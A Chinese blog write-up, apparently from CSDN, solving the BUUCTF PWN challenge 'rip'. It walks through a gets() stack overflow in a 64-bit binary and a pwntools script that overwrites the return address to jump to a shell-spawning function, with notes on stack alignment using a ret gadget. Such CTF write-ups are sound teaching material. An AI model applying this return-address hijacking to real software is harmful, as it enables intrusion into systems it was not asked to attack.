BUUCTF (PWN) RIP详细分析

本文解析了一道在64位Ubuntu18系统上运行的CTF题目,详细介绍了如何利用栈溢出漏洞,通过分析IDA中main函数下的fun()函数,构造payload实现函数返回地址的劫持。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

很简单的栈溢出,不过对于栈溢出具体过程不理解的会卡的很惨

0x1 解题过程

由于初学嘛,就看了网上的wp,好像都是之前版本的,现在用就不太对,可能我入坑BUUCTF比较晚,现在用的题都是运行在Ubuntu18上的,故需要考虑堆栈平衡~~

IDA打开发现main下面还有一个fun()函数,很可疑
IDA打开发现main下面还有一个fun()函数,很可疑

别一味地F5,这个汇编很容易看明白,这个gets很明显没有限制输入,存在栈溢出漏洞
在这里插入图片描述

双击s来到Stack of main视图,发现只需存入15个字节即可劫持函数返回地址
在这里插入图片描述

因此再回来看fun()函数,就是一个系统调用,故payload=‘a’ * 15 + p64(0x401186)
在这里插入图片描述

0x2:exp

#!/usr/bin/env python
# coding=utf-8

from pwn import *

#p = process('./pwn1')
p = remote('node3.buuoj.cn', 26692)

#p.recvuntil("please input") 这道题不知道为啥recvuntil报连接超时。。
#buf = 'a' * (0xf + 0x8) + p64(0x401198) + p64(0x401186) 也可以,是网上wp的修改
buf_1 = 'a' * 15 + p64(0x401186)
#gdb.attach(p)

p.sendline(buf_1)

p.interactive()

0x03反思:

看了网上那些wp,其实就是老版本的这道题是32位的,而现在是64位的,参数小于6个不会用到栈来传参。而gets()只有一个参数,所以传递参数只需用到rdi(这你可以看ida的汇编代码,call下面有个mov rdi,rax),这道题的s应该是一个局部变量,23个刚刚覆盖了rbp,然后那两个地址紧接着往下排,0x401198是 “retn” 保证程序能正常返回,然后0x401186在Main函数栈顶。又因为retn相当于pop + 执行,故形成了返回地址劫持~~
解决办法:payload=‘a’ * 23+ p64(0x401198) + p64(0x401186) #0x401198为返回地址
在这里插入图片描述

大神帮忙看看我这个反思是否正确,望指点~

评论 27
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值